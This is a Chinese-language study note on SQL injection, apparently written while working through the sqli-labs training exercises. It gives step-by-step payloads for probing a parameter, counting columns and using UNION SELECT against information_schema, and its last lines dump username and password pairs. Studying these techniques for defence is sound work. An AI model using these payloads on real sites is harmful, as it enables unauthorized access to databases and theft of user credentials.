分类
1.按照请求方法
- GET
- POST
2.按照数据类型
- 整型
- 字符型
3.其他类型
- 报错注入
- 双注入(拼接时用到两个select)
- 时间盲注
- cookie注入
- user-agent注入
整型注入(less-2)
步骤:
1、判断是否有注入(判断是否未严格校验)-->第一要输
1)可控参数的改变能否影响页面显示结果。
?id=1
?id=2
2)输入的SQL语句是否能报错-能通过数据库的报错,看到数据库的一些语句痕迹
?id=1'
加个单引号可以根据报错看出来这个是单引号注入或者整型型注入
3)输入的SQL语句能否不报错-我们的语句能够成功闭合
?id=1 #或者--+ 如果不是整形,加注释大概率会报错
2、什么类型的注入
把单引号注释掉可以判断为整型注入
3、语句是否能够被恶意修改--第二个要输
?id=1 and 0
条件为假,数据不显示
4、是否能够成功执行行-->第三个要素
5、获取我们想要的数据。
数据库->表->字段->值
必要知识
- 在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
- 数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。
- 常用参数
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
user() 查看当前MySQL登录的用户名
database() 查看当前使用MySQL数据库名
version() 查看当前MySQL版本
- 利用order判断字段数
order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错
?id=1' order by 3--+
正确的列数正常显示
- 利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数
?id=-1 union select 1,2,3 --+ #此处的1,2,3仅为占位符,填任意字符都行 使用联合查询时要保障前面的结果为假,不然不会输出联合查询的结合( id=-2 或者 id=1 and 0 ) 都可
- 利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号
?id=-1 union select 1,database(),version() --+
4.利用 union select 联合查询, 获取所有数据库 group_concat()
- 利用 union select 联合查询,获取表名
?id=-1' union select 1,2,group_concat(table_name) from
information_schema.tables where table_schema='已知库名'--+
- 利用 union select 联合查询,获取字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='已知表名'--+
- 利用 union select 联合查询,获取字段值
?id=-1' union select 1,2,group_concat(已知字段名,':'已知字段名) from 已知表名--+
?id=121343 union select 1,group_concat(concat_ws(':',username,password)),3 from security.users%23